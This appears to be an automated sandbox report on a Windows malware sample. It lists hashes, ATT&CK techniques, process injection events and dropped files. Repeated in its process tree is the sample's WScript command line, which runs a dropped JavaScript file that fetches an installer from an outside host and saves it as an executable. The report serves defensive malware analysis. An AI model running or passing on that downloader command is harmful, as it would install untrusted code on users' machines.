76ae2a209d6c4afa2fb7416e958b65d718db665d499158a9abd525ec90b7abb6

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 08:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
Size

184KB
MD5

33cb08813809437dbeda2422172e66c7
SHA1

3fe5c4e90fe7036091bc1fdf2d7316ce0f6aa888
SHA256

76ae2a209d6c4afa2fb7416e958b65d718db665d499158a9abd525ec90b7abb6
SHA512

9ea824d5b4c22d31282db2953d4ecd4d8ac3b2d84eb28e1383d39cdf9ddcba0ca120a4414c7fd60da91ccdab796ac9b2093dcafc0436075d44440b1a12c54fb8
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndnX

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	2176	WScript.exe
8	2176	WScript.exe
10	2176	WScript.exe
12	2732	WScript.exe
13	2732	WScript.exe
15	2840	WScript.exe
16	2840	WScript.exe
18	284	WScript.exe
19	284	WScript.exe
21	1656	WScript.exe
22	1656	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe

description	pid	process	target process
PID 1944 wrote to memory of 2176	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2176	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2176	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2176	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2732	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2732	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2732	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2732	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2840	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2840	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2840	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 2840	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 284	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 284	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 284	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 284	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 1656	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 1656	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 1656	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe
PID 1944 wrote to memory of 1656	1944	33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe
2⤵
- Blocklisted process makes network request
PID:2176

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe
2⤵
- Blocklisted process makes network request
PID:2732

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe
2⤵
- Blocklisted process makes network request
PID:2840

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe
2⤵
- Blocklisted process makes network request
PID:284

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2CFA.exe
2⤵
- Blocklisted process makes network request
PID:1656

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
2a8fa256ce6a53132c6e1887aec2dd90

SHA1
3c3712696c81ffbf3f78767fa642115336718db0

SHA256
4372b48ab69f94556f8124623513fe956790e5250372c13577d51de0a309a2a6

SHA512
86c1a4da1b625219443ffa86cf04f4fa477746d0f1ff2de1c8c8605fcb4eed09b9aa3a7e7a64c8ad59c50b2a65bf25d5ef493bf9b06726ecb83aa9519ef9f11b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
8edb2357c44fe2a44cd6adc2957b577d

SHA1
a8aa0aed4c522b17dfc1c78b8ea873570422cd73

SHA256
90984e59687d16664d310d61f48fb49f3f4c58b6996f7c769cc25543b4038b7a

SHA512
5e86dd5a5cf6e25a0f0578c613562b3d3dcfde77d6597f8045b05d6db3c52caf2b6a86831779d8c0395ed130805752cd7d83be04335fa7e85e7a9a3968c8f037

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
e0636bfaeb04f6f6f03fd2314d4bc30d

SHA1
10c969eb418984459bc881768d9480ade312800e

SHA256
4df04d9cda4398629c814b3c82d331f31eef9f0e0424b5b335b8c6d9eed42cc1

SHA512
433f45fd99da44efd734d5901718d3051290fbd78f3acb4787f03801d566135479de21086c4603d18c0e909134253039cebc62cd80f3a1884ee0bf668ce3a8a0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
8cca6dd52987fb4c6c0917411958e483

SHA1
88c5c41ce8d16a4db8299a823c99f119c29e6305

SHA256
fac536c5f5944169f48042f7a4c974797dd079adca3365a7a151c9686e79d78f

SHA512
67122630b7e1a07cdb433c47ea562e7cd0a8136e1c8e60c23df26fdba9c890436a777c5fb0df8d993ab28ca5f23c2dde879ab14c28bb7e7f2694781f8ef86ac7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htm
Filesize
6KB

MD5
f7b8734ba1bc659f4f54103e24626667

SHA1
5e38154d686b65c03a2413633eb49111020da5c0

SHA256
b232d41bbac472e6a68645b73e1889f0aa281d3cae21744a74df0d9379abc391

SHA512
11698f9b723f38e6eec4cff031d94f8059796feebf86b604773503bdf137bb1d140882b8880e9bfbfe9ee601a9ffe23f3d15f2ecb7750c171237b4a154bf1759

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htm
Filesize
6KB

MD5
0c384d43e11df5fd26efdc0813141b85

SHA1
e968ec281b332030c4ada6e3806aa031c12cc917

SHA256
f4402e4b46b404ffa4691549b096fa3b0da662c0e7cec37821bfe8c3b8e637fe

SHA512
b8e6dda1bdeff6ab2dbd3999cbf2692c8bd6da9e4c5a369a8a1dc1801f95ec3ae8e65632fe32f987bc631ff17abfd9a04d877e4c64e2c88d15709cae475ffd38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htm
Filesize
40KB

MD5
27b20b7a319c321aceab972de8075d01

SHA1
c858d4b859dc28ca94f44cd694cb0c3412e15665

SHA256
06729450cd66371e6d8f01c6ed9982dba04d7a56f8b7183a407b846c3d0e6e28

SHA512
81ec5cc75d2b3498a8cf55b1dc8922288c919609a932486195e6379bd0d972a21baf603a0b20e85b34c774ecbc0f5c737e393fe38829bc5215cc93a5d0a8055c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htm
Filesize
40KB

MD5
6c243221fe9c3f50775e71a149de000d

SHA1
8d9a2b987204b2ad5fdbb1c5192030753b043efa

SHA256
a7d609c5e7e900e02b72889c37adb5c30e075dc01339c420f1f2a39fabaf28b6

SHA512
250b5c396b1501addf046cc1728545365ed4dc989216107e0388a03641c2c4190f6c35b10973797d02a9b0e232e9c8181cf07d5bc8fccad800fd64d3f6bd6303

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5C14.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7447.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf2CFA.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\NUO2BF3R.txt
Filesize
177B

MD5
082b9c7d09352cb9a140a03d76092f9b

SHA1
877c6ce1bc49481a2e09aa3ca31609dbf76bd9dd

SHA256
0eacca5ada356131038956a934a0f25252c9122450c6225cb9134d16452e0893

SHA512
0aee62c737d92a3745b82cbf9e9538db0a28d837d166782fc06c4cc531f086fc57b7a1d41f99bbfa3275e499c5cb029ffff587ee6bf7ef5a039695096fcb8f77

Download Submit